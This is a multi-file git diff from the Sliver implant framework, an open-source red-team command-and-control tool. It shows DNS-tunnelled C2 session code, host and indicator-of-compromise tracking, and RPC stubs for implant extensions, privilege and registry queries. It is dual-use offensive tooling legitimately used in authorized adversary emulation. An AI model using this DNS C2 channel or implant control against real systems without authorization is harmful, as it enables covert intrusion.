||||
//BUG - in the event that the session init msg does not make it to the client, this will fail. This has been
|
||||
//observed consistently (Namely due to the race condition bug that is also being fixed in dnsSessionPoll).
|
||||
//Currently a memory leak. Consider tracking moving the cleanup code to after polling has
|
||||
//begun to ensure the initial handshake was successful.
|
||||
//
|
||||
//delete((*dnsSegmentReassembler), nonce)
|
||||
return data, nil
|
||||
}
|
||||
return nil, fmt.Errorf("Invalid nonce '%#v' (session init reassembler)", nonce)
|
||||
}
|
||||
|
||||
// The domain is only a segment of the startDNSSession message, so we just store the data
|
||||
func dnsSegment(fields []string) ([]string, error) {
|
||||
dnsSegmentReassemblerMutex.Lock()
|
||||
defer dnsSegmentReassemblerMutex.Unlock()
|
||||
|
||||
nonce, _ := getFieldNonce(fields)
|
||||
index, err := getFieldSeq(fields)
|
||||
if err != nil {
|
||||
return []string{"1"}, err
|
||||
}
|
||||
subdata, err := getFieldSubdata(fields)
|
||||
if err != nil {
|
||||
return []string{"1"}, err
|
||||
}
|
||||
if _, ok := (*dnsSegmentReassembler)[nonce]; !ok {
|
||||
(*dnsSegmentReassembler)[nonce] = &map[int][]string{}
|
||||
}
|
||||
if reasm, ok := (*dnsSegmentReassembler)[nonce]; ok {
|
||||
(*reasm)[index] = subdata
|
||||
return []string{"0"}, nil
|
||||
}
|
||||
dnsLog.Infof("Invalid nonce (session segment): %#v", nonce)
|
||||
return []string{"1"}, errors.New("Invalid nonce (session segment)")
|
||||
}
|
||||
|
||||
// TODO: Avoid double-fetch
|
||||
func getDomainKeyFor(domain string) ([]string, error) {
|
||||
_, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, domain)
|
||||
if err != nil {
|
||||
certs.C2ServerGenerateRSACertificate(domain)
|
||||
}
|
||||
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, domain)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return dnsSendOnce(certPEM)
|
||||
}
|
||||
|
||||
// --------------------------- DNS SESSION SEND ---------------------------
|
||||
|
||||
// Send all response data in a single TXT record, limited to 65535 bytes
|
||||
func dnsSendOnce(rawData []byte) ([]string, error) {
|
||||
if 65535 <= base64.RawStdEncoding.EncodedLen(len(rawData)) {
|
||||
return nil, errors.New("Response too large to encode into one TXT record")
|
||||
}
|
||||
data := base64.RawStdEncoding.EncodeToString(rawData)
|
||||
dnsLog.Infof("Encoding single resp: %#v", data)
|
||||
txts := []string{}
|
||||
size := int(math.Ceil(float64(len(data)) / 255.0))
|
||||
for index := 0; index < size; index++ {
|
||||
start := index * 255
|
||||
stop := start + 255
|
||||
if len(data) < stop {
|
||||
stop = len(data)
|
||||
}
|
||||
txts = append(txts, data[start:stop])
|
||||
}
|
||||
return txts, nil
|
||||
}
|
||||
|
||||
func dnsSessionPoll(domain string, fields []string) ([]string, error) {
|
||||
|
||||
sessionID, err := getFieldSessionID(fields)
|
||||
if err != nil {
|
||||
return []string{"1"}, errors.New("invalid session id (session poll)")
|
||||
}
|
||||
dnsSessionsMutex.Lock()
|
||||
dnsSession, found := (*dnsSessions)[sessionID]
|
||||
if !found {
|
||||
dnsSessionsMutex.Unlock()
|
||||
b64SessionId := base64.RawStdEncoding.EncodeToString([]byte(sessionID))
|
||||
return []string{b64SessionId}, errors.New("invalid session (nil pointer)")
|
||||
}
|
||||
dnsSessionsMutex.Unlock()
|
||||
|
||||
isDrained := false
|
||||
envelopes := []*sliverpb.Envelope{}
|
||||
for !isDrained {
|
||||
select {
|
||||
case envelope := <-dnsSession.Session.Send:
|
||||
dnsLog.Infof("New message from send channel ...")
|
||||
envelopes = append(envelopes, envelope)
|
||||
default:
|
||||
isDrained = true
|
||||
}
|
||||
}
|
||||
|
||||
dnsSession.Session.UpdateCheckin()
|
||||
|
||||
if 0 < len(envelopes) {
|
||||
dnsLog.Infof("%d new message(s) for session id %#v", len(envelopes), sessionID)
|
||||
dnsPoll := &sliverpb.DNSPoll{}
|
||||
for _, envelope := range envelopes {
|
||||
data, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
dnsLog.Infof("Failed to encode envelope %v", err)
|
||||
continue
|
||||
}
|
||||
|
||||
encryptedEnvelopeData, err := cryptography.GCMEncrypt(dnsSession.Key, data)
|
||||
if err != nil {
|
||||
dnsLog.Infof("Failed to encrypt poll data %v", err)
|
||||
return []string{"1"}, errors.New("Failed to encrypt dns poll data")
|
||||
}
|
||||
|
||||
blockID, size := storeSendBlocks(encryptedEnvelopeData)
|
||||
dnsPoll.Blocks = append(dnsPoll.Blocks, &sliverpb.DNSBlockHeader{
|
||||
ID: blockID,
|
||||
Size: uint32(size),
|
||||
})
|
||||
}
|
||||
pollData, err := proto.Marshal(dnsPoll)
|
||||
if err != nil {
|
||||
dnsLog.Infof("Failed to encode envelope %v", err)
|
||||
return []string{"1"}, errors.New("Failed to encode dns poll data")
|
||||
}
|
||||
encryptedPollData, err := cryptography.GCMEncrypt(dnsSession.Key, pollData)
|
||||
if err != nil {
|
||||
dnsLog.Infof("Failed to encrypt poll data %v", err)
|
||||
return []string{"1"}, errors.New("Failed to encrypt dns poll data")
|
||||
}
|
||||
return dnsSendOnce(encryptedPollData)
|
||||
}
|
||||
dnsLog.Infof("No new message for session id %#v", sessionID)
|
||||
return []string{"0"}, nil
|
||||
}
|
||||
|
||||
// Send blocks of data via multiple DNS TXT responses
|
||||
func dnsSendBlocks(blockID string, startIndex string, stopIndex string) []string {
|
||||
start, err := strconv.Atoi(startIndex)
|
||||
if err != nil {
|
||||
return []string{}
|
||||
}
|
||||
stop, err := strconv.Atoi(stopIndex)
|
||||
if err != nil {
|
||||
return []string{}
|
||||
}
|
||||
|
||||
if stop < start {
|
||||
return []string{}
|
||||
}
|
||||
|
||||
dnsLog.Infof("Send blocks %d to %d for ID %s", start, stop, blockID)
|
||||
|
||||
sendBlocksMutex.Lock()
|
||||
defer sendBlocksMutex.Unlock()
|
||||
respBlocks := []string{}
|
||||
if block, ok := (*sendBlocks)[blockID]; ok {
|
||||
for index := start; index < stop; index++ {
|
||||
if index < len(block.Data) {
|
||||
respBlocks = append(respBlocks, block.Data[index])
|
||||
}
|
||||
}
|
||||
dnsLog.Infof("Sending %d response block(s)", len(respBlocks))
|
||||
return respBlocks
|
||||
}
|
||||
dnsLog.Infof("Invalid block ID: %#v", blockID)
|
||||
return []string{}
|
||||
}
|
||||
|
||||
// Clear send blocks of data from memory
|
||||
func clearSendBlock(blockID string) bool {
|
||||
sendBlocksMutex.Lock()
|
||||
defer sendBlocksMutex.Unlock()
|
||||
if _, ok := (*sendBlocks)[blockID]; ok {
|
||||
delete(*sendBlocks, blockID)
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Stores encoded blocks fo data into "sendBlocks"
|
||||
func storeSendBlocks(data []byte) (string, int) {
|
||||
blockID := generateBlockID()
|
||||
|
||||
sendBlock := &SendBlock{
|
||||
ID: blockID,
|
||||
Data: []string{},
|
||||
}
|
||||
for index := 0; index < len(data); index += byteBlockSize {
|
||||
start := index
|
||||
stop := index + byteBlockSize
|
||||
if len(data) < stop {
|
||||
stop = len(data)
|
||||
}
|
||||
encoded := base64.RawStdEncoding.EncodeToString(data[start:stop])
|
||||
dnsLog.Infof("Encoded block is %d bytes", len(encoded))
|
||||
sendBlock.Data = append(sendBlock.Data, encoded)
|
||||
}
|
||||
sendBlocksMutex.Lock()
|
||||
(*sendBlocks)[sendBlock.ID] = sendBlock
|
||||
sendBlocksMutex.Unlock()
|
||||
return sendBlock.ID, len(sendBlock.Data)
|
||||
}
|
||||
|
||||
// --------------------------- HELPERS ---------------------------
|
||||
|
||||
// Unique IDs, no need for secure random
|
||||
func generateBlockID() string {
|
||||
insecureRand.Seed(time.Now().UnixNano())
|
||||
blockID := []rune{}
|
||||
for i := 0; i < blockIDSize; i++ {
|
||||
index := insecureRand.Intn(len(dnsCharSet))
|
||||
blockID = append(blockID, dnsCharSet[index])
|
||||
}
|
||||
return string(blockID)
|
||||
}
|
||||
|
||||
func fingerprintSHA256(block *pem.Block) string {
|
||||
hash := sha256.Sum256(block.Bytes)
|
||||
b64hash := base64.RawStdEncoding.EncodeToString(hash[:])
|
||||
return strings.TrimRight(b64hash, "=")
|
||||
}
|
||||
|
||||
// TODO: Add a geofilter to make it look like we're in various regions of the world.
|
||||
// We don't really need to use srand but it's just easier to operate on bytes here.
|
||||
func randomIP() net.IP {
|
||||
randBuf := make([]byte, 4)
|
||||
secureRand.Read(randBuf)
|
||||
|
||||
// Ensure non-zeros with various bitmasks
|
||||
return net.IPv4(randBuf[0]|0x10, randBuf[1]|0x10, randBuf[2]|0x1, randBuf[3]|0x10)
|
||||
}
|
||||
|
||||
// --------------------------- ENCODER ---------------------------
|
||||
|
||||
var base32Alphabet = "ab1c2d3e4f5g6h7j8k9m0npqrtuvwxyz"
|
||||
var sliverBase32 = base32.NewEncoding(base32Alphabet)
|
||||
|
||||
// EncodeToString encodes the given byte slice in base32
|
||||
func dnsEncodeToString(input []byte) string {
|
||||
return strings.TrimRight(sliverBase32.EncodeToString(input), "=")
|
||||
}
|
||||
|
||||
// DecodeString decodes the given base32 encoded bytes
|
||||
func dnsDecodeString(raw string) ([]byte, error) {
|
||||
pad := 8 - (len(raw) % 8)
|
||||
padded := []byte(raw)
|
||||
if pad != 8 {
|
||||
padded = make([]byte, len(raw)+pad)
|
||||
copy(padded, raw)
|
||||
for index := 0; index < pad; index++ {
|
||||
padded[len(raw)+index] = '='
|
||||
}
|
||||
}
|
||||
// dnsLog.Infof("[base32] %#v", string(padded))
|
||||
return sliverBase32.DecodeString(string(padded))
|
||||
}
|
||||
|
||||
// SessionIDs are public parameters in this use case
|
||||
// so it's only important that they're unique
|
||||
func dnsSessionID() string {
|
||||
@@ -508,23 +823,5 @@ func dnsSessionID() string {
|
||||
index := insecureRand.Intn(len(dnsCharSet))
|
||||
sessionID = append(sessionID, dnsCharSet[index])
|
||||
}
|
||||
return string(sessionID)
|
||||
}
|
||||
|
||||
func blockID() uint32 {
|
||||
randBuf := make([]byte, 4)
|
||||
secureRand.Read(randBuf)
|
||||
return binary.LittleEndian.Uint32(randBuf)
|
||||
}
|
||||
|
||||
func getDomainKeyFor(domain string) ([]byte, error) {
|
||||
_, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, domain)
|
||||
if err != nil {
|
||||
certs.C2ServerGenerateRSACertificate(domain)
|
||||
}
|
||||
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, domain)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return certPEM, nil
|
||||
return "_" + string(sessionID)
|
||||
}
|
||||
@@ -113,5 +113,4 @@ func serverOnlyCmds(console *clientconsole.SliverConsoleClient) {
|
||||
},
|
||||
HelpGroup: consts.MultiplayerHelpGroup,
|
||||
})
|
||||
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/gofrs/uuid"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
var (
|
||||
coreLog = log.NamedLogger("core", "hosts")
|
||||
)
|
||||
|
||||
func StartEventAutomation() {
|
||||
go func() {
|
||||
for event := range EventBroker.Subscribe() {
|
||||
switch event.EventType {
|
||||
|
||||
case consts.SessionOpenedEvent:
|
||||
if event.Session != nil {
|
||||
hostsSessionCallback(event.Session)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// Triggered on new sessione events, checks to see if the host is in
|
||||
// the database and adds it if not.
|
||||
func hostsSessionCallback(session *Session) {
|
||||
dbSession := db.Session()
|
||||
_, err := db.HostByHostUUID(session.UUID)
|
||||
if err != nil && err != gorm.ErrRecordNotFound {
|
||||
coreLog.Error(err)
|
||||
return
|
||||
}
|
||||
if err == gorm.ErrRecordNotFound {
|
||||
err := dbSession.Create(&models.Host{
|
||||
HostUUID: uuid.FromStringOrNil(session.UUID),
|
||||
Hostname: session.Hostname,
|
||||
OSVersion: session.Os,
|
||||
IOCs: []models.IOC{},
|
||||
ExtensionData: []models.ExtensionData{},
|
||||
}).Error
|
||||
if err != nil {
|
||||
coreLog.Error(err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -72,6 +72,7 @@ type Session struct {
|
||||
ProxyURL string
|
||||
PollInterval uint32
|
||||
Burned bool
|
||||
Extensions []string
|
||||
}
|
||||
|
||||
// ToProtobuf - Get the protobuf version of the object
|
||||
|
||||
@@ -25,6 +25,7 @@ package db
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/gofrs/uuid"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
@@ -188,3 +189,44 @@ func WGPeerIPs() ([]string, error) {
|
||||
}
|
||||
return ips, nil
|
||||
}
|
||||
|
||||
// ListHosts - List of all hosts in the database
|
||||
func ListHosts() ([]*models.Host, error) {
|
||||
hosts := []*models.Host{}
|
||||
err := Session().Where(
|
||||
&models.Host{},
|
||||
).Preload("IOCs").Preload("ExtensionData").Find(&hosts).Error
|
||||
return hosts, err
|
||||
}
|
||||
|
||||
// HostByHostID - Get host by the session's reported HostUUID
|
||||
func HostByHostID(id uuid.UUID) (*models.Host, error) {
|
||||
host := models.Host{}
|
||||
err := Session().Where(&models.Host{ID: id}).First(&host).Error
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &host, nil
|
||||
}
|
||||
|
||||
// HostByHostUUID - Get host by the session's reported HostUUID
|
||||
func HostByHostUUID(id string) (*models.Host, error) {
|
||||
host := models.Host{}
|
||||
err := Session().Where(
|
||||
&models.Host{HostUUID: uuid.FromStringOrNil(id)},
|
||||
).Preload("IOCs").Preload("ExtensionData").Find(&host).Error
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &host, nil
|
||||
}
|
||||
|
||||
// IOCByID - Select an IOC by ID
|
||||
func IOCByID(id string) (*models.IOC, error) {
|
||||
ioc := &models.IOC{}
|
||||
err := Session().Where(
|
||||
&models.IOC{ID: uuid.FromStringOrNil(id)},
|
||||
).First(ioc).Error
|
||||
return ioc, err
|
||||
}
|
||||
@@ -0,0 +1,133 @@
|
||||
package models
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/gofrs/uuid"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
// Host - Represents a host machine
|
||||
type Host struct {
|
||||
gorm.Model
|
||||
|
||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||
HostUUID uuid.UUID `gorm:"type:uuid;"`
|
||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||
|
||||
Hostname string
|
||||
OSVersion string // Verbore OS version
|
||||
|
||||
IOCs []IOC
|
||||
ExtensionData []ExtensionData
|
||||
}
|
||||
|
||||
// BeforeCreate - GORM hook
|
||||
func (h *Host) BeforeCreate(tx *gorm.DB) (err error) {
|
||||
h.ID, err = uuid.NewV4()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
h.CreatedAt = time.Now()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *Host) ToProtobuf() *clientpb.Host {
|
||||
return &clientpb.Host{
|
||||
HostUUID: h.HostUUID.String(),
|
||||
Hostname: h.Hostname,
|
||||
OSVersion: h.OSVersion,
|
||||
IOCs: h.iocsToProtobuf(),
|
||||
ExtensionData: h.extensionDataToProtobuf(),
|
||||
}
|
||||
}
|
||||
|
||||
func (h *Host) iocsToProtobuf() []*clientpb.IOC {
|
||||
iocs := []*clientpb.IOC{}
|
||||
for _, dbIOC := range h.IOCs {
|
||||
iocs = append(iocs, dbIOC.ToProtobuf())
|
||||
}
|
||||
return iocs
|
||||
}
|
||||
|
||||
func (h *Host) extensionDataToProtobuf() map[string]*clientpb.ExtensionData {
|
||||
extData := map[string]*clientpb.ExtensionData{}
|
||||
for _, dbExtData := range h.ExtensionData {
|
||||
extData[dbExtData.Name] = &clientpb.ExtensionData{
|
||||
Output: dbExtData.Output,
|
||||
}
|
||||
}
|
||||
return extData
|
||||
}
|
||||
|
||||
// IOC - Represents an indicator of compromise, generally a file we've
|
||||
// uploaded to a remote system.
|
||||
type IOC struct {
|
||||
gorm.Model
|
||||
|
||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||
HostID uuid.UUID `gorm:"type:uuid;"`
|
||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||
|
||||
Path string
|
||||
FileHash string
|
||||
}
|
||||
|
||||
// BeforeCreate - GORM hook
|
||||
func (i *IOC) BeforeCreate(tx *gorm.DB) (err error) {
|
||||
i.ID, err = uuid.NewV4()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
i.CreatedAt = time.Now()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (i *IOC) ToProtobuf() *clientpb.IOC {
|
||||
return &clientpb.IOC{
|
||||
Path: i.Path,
|
||||
FileHash: i.FileHash,
|
||||
}
|
||||
}
|
||||
|
||||
// ExtensionData - Represents an indicator of compromise, generally a file we've
|
||||
// uploaded to a remote system.
|
||||
type ExtensionData struct {
|
||||
gorm.Model
|
||||
|
||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||
HostID uuid.UUID `gorm:"type:uuid;"`
|
||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||
|
||||
Name string
|
||||
Output string
|
||||
}
|
||||
|
||||
// BeforeCreate - GORM hook
|
||||
func (e *ExtensionData) BeforeCreate(tx *gorm.DB) (err error) {
|
||||
e.ID, err = uuid.NewV4()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
e.CreatedAt = time.Now()
|
||||
return nil
|
||||
}
|
||||
@@ -36,6 +36,8 @@ type Loot struct {
|
||||
FileType int
|
||||
CredentialType int
|
||||
Name string
|
||||
|
||||
OriginHost uuid.UUID `gorm:"type:uuid;"`
|
||||
}
|
||||
|
||||
// BeforeCreate - GORM hook
|
||||
|
||||
@@ -61,7 +61,7 @@ type WebContent struct {
|
||||
// gorm.Model
|
||||
|
||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||
WebsiteID uuid.UUID
|
||||
WebsiteID uuid.UUID `gorm:"type:uuid;"`
|
||||
|
||||
Path string `gorm:"primaryKey"`
|
||||
Size int
|
||||
|
||||
@@ -54,6 +54,9 @@ func newDBClient() *gorm.DB {
|
||||
err := dbClient.AutoMigrate(
|
||||
&models.DNSCanary{},
|
||||
&models.Certificate{},
|
||||
&models.Host{},
|
||||
&models.IOC{},
|
||||
&models.ExtensionData{},
|
||||
&models.ImplantC2{},
|
||||
&models.ImplantConfig{},
|
||||
&models.ImplantBuild{},
|
||||
|
||||
@@ -6,7 +6,7 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/binject/go-donut/donut"
|
||||
"github.com/Binject/go-donut/donut"
|
||||
)
|
||||
|
||||
// DonutShellcodeFromFile returns a Donut shellcode for the given PE file
|
||||
|
||||
@@ -27,8 +27,6 @@ var (
|
||||
srcFiles = []string{
|
||||
"constants/constants.go",
|
||||
|
||||
"encoders/base32.go",
|
||||
"encoders/base62.go",
|
||||
"encoders/base64.go",
|
||||
"encoders/combos.go",
|
||||
"encoders/encoders.go",
|
||||
@@ -43,6 +41,10 @@ var (
|
||||
"evasion/evasion_linux.go",
|
||||
"evasion/evasion_windows.go",
|
||||
|
||||
"extension/extension.go",
|
||||
"extension/extension_windows.go",
|
||||
"extension/extension_darwin.go",
|
||||
|
||||
"forwarder/forwarder.go",
|
||||
"forwarder/socks.go",
|
||||
"forwarder/portforward.go",
|
||||
@@ -167,8 +169,6 @@ var (
|
||||
genericSrcFiles = []string{
|
||||
"constants/constants.go",
|
||||
|
||||
"encoders/base32.go",
|
||||
"encoders/base62.go",
|
||||
"encoders/base64.go",
|
||||
"encoders/combos.go",
|
||||
"encoders/encoders.go",
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
package rpc
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
// RegisterExtension registers a new extension in the implant
|
||||
func (rpc *Server) RegisterExtension(ctx context.Context, req *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error) {
|
||||
resp := &sliverpb.RegisterExtension{}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// ListExtensions lists the registered extensions
|
||||
func (rpc *Server) ListExtensions(ctx context.Context, req *sliverpb.ListExtensionsReq) (*sliverpb.ListExtensions, error) {
|
||||
resp := &sliverpb.ListExtensions{}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// CallExtension calls a specific export of the loaded extension
|
||||
func (rpc *Server) CallExtension(ctx context.Context, req *sliverpb.CallExtensionReq) (*sliverpb.CallExtension, error) {
|
||||
resp := &sliverpb.CallExtension{}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
@@ -20,8 +20,18 @@ package rpc
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
)
|
||||
|
||||
var (
|
||||
fsLog = log.NamedLogger("rcp", "fs")
|
||||
)
|
||||
|
||||
// Ls - List a directory
|
||||
@@ -91,5 +101,37 @@ func (rpc *Server) Upload(ctx context.Context, req *sliverpb.UploadReq) (*sliver
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if req.IsIOC {
|
||||
go trackIOC(req, resp)
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
func trackIOC(req *sliverpb.UploadReq, resp *sliverpb.Upload) {
|
||||
fsLog.Debugf("Adding IOC to database ...")
|
||||
request := req.GetRequest()
|
||||
if request == nil {
|
||||
fsLog.Error("No request for upload")
|
||||
return
|
||||
}
|
||||
session := core.Sessions.Get(request.SessionID)
|
||||
if session == nil {
|
||||
fsLog.Error("No session for upload request")
|
||||
return
|
||||
}
|
||||
host, err := db.HostByHostUUID(session.UUID)
|
||||
if err != nil {
|
||||
fsLog.Errorf("No host for session uuid %v", session.UUID)
|
||||
return
|
||||
}
|
||||
|
||||
sum := sha256.Sum256(req.Data)
|
||||
ioc := &models.IOC{
|
||||
HostID: host.ID,
|
||||
Path: resp.Path,
|
||||
FileHash: fmt.Sprintf("%x", sum),
|
||||
}
|
||||
if db.Session().Create(ioc).Error != nil {
|
||||
fsLog.Error("Failed to create IOC")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
package rpc
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
)
|
||||
|
||||
var (
|
||||
hostsRPCLog = log.NamedLogger("rpc", "hosts")
|
||||
)
|
||||
|
||||
// Hosts - List all hosts
|
||||
func (rpc *Server) Hosts(ctx context.Context, _ *commonpb.Empty) (*clientpb.AllHosts, error) {
|
||||
dbHosts, err := db.ListHosts()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
hosts := []*clientpb.Host{}
|
||||
for _, dbHost := range dbHosts {
|
||||
hosts = append(hosts, dbHost.ToProtobuf())
|
||||
}
|
||||
return &clientpb.AllHosts{Hosts: hosts}, nil
|
||||
}
|
||||
|
||||
// Host - Host by ID
|
||||
func (rpc *Server) Host(ctx context.Context, req *clientpb.Host) (*clientpb.Host, error) {
|
||||
dbHost, err := db.HostByHostUUID(req.HostUUID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return dbHost.ToProtobuf(), nil
|
||||
}
|
||||
|
||||
// HostRm - Remove a host from the database
|
||||
func (rpc *Server) HostRm(ctx context.Context, req *clientpb.Host) (*commonpb.Empty, error) {
|
||||
dbHost, err := db.HostByHostUUID(req.HostUUID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = db.Session().Delete(dbHost).Error
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &commonpb.Empty{}, nil
|
||||
}
|
||||
|
||||
// HostIOCRm - Remove a host from the database
|
||||
func (rpc *Server) HostIOCRm(ctx context.Context, req *clientpb.IOC) (*commonpb.Empty, error) {
|
||||
dbIOC, err := db.IOCByID(req.ID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = db.Session().Delete(dbIOC).Error
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &commonpb.Empty{}, nil
|
||||
}
|
||||
@@ -118,3 +118,13 @@ func (rpc *Server) MakeToken(ctx context.Context, req *sliverpb.MakeTokenReq) (*
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// GetPrivs - gRPC interface to get privilege information from the current process
|
||||
func (rpc *Server) GetPrivs(ctx context.Context, req *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
|
||||
resp := &sliverpb.GetPrivs{}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
@@ -35,3 +35,23 @@ func (rpc *Server) RegistryCreateKey(ctx context.Context, req *sliverpb.Registry
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// RegistryListSubKeys - gRPC interface to list the sub keys of a registry key
|
||||
func (rpc *Server) RegistryListSubKeys(ctx context.Context, req *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error) {
|
||||
resp := &sliverpb.RegistrySubKeyList{}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// RegistryListSubKeys - gRPC interface to list the sub keys of a registry key
|
||||
func (rpc *Server) RegistryListValues(ctx context.Context, req *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error) {
|
||||
resp := &sliverpb.RegistryValuesList{}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
@@ -130,6 +130,9 @@ func (rpc *Server) UpdateSession(ctx context.Context, update *clientpb.UpdateSes
|
||||
}
|
||||
session.Request(sliverpb.MsgNumber(&req), rpc.getTimeout(&req), data)
|
||||
}
|
||||
if len(update.Extensions) != 0 {
|
||||
session.Extensions = update.Extensions
|
||||
}
|
||||
core.Sessions.UpdateSession(session)
|
||||
resp = session.ToProtobuf()
|
||||
return resp, nil
|
||||
|
||||
@@ -74,6 +74,7 @@ type GenericResponse interface {
|
||||
|
||||
// NewServer - Create new server instance
|
||||
func NewServer() *Server {
|
||||
core.StartEventAutomation()
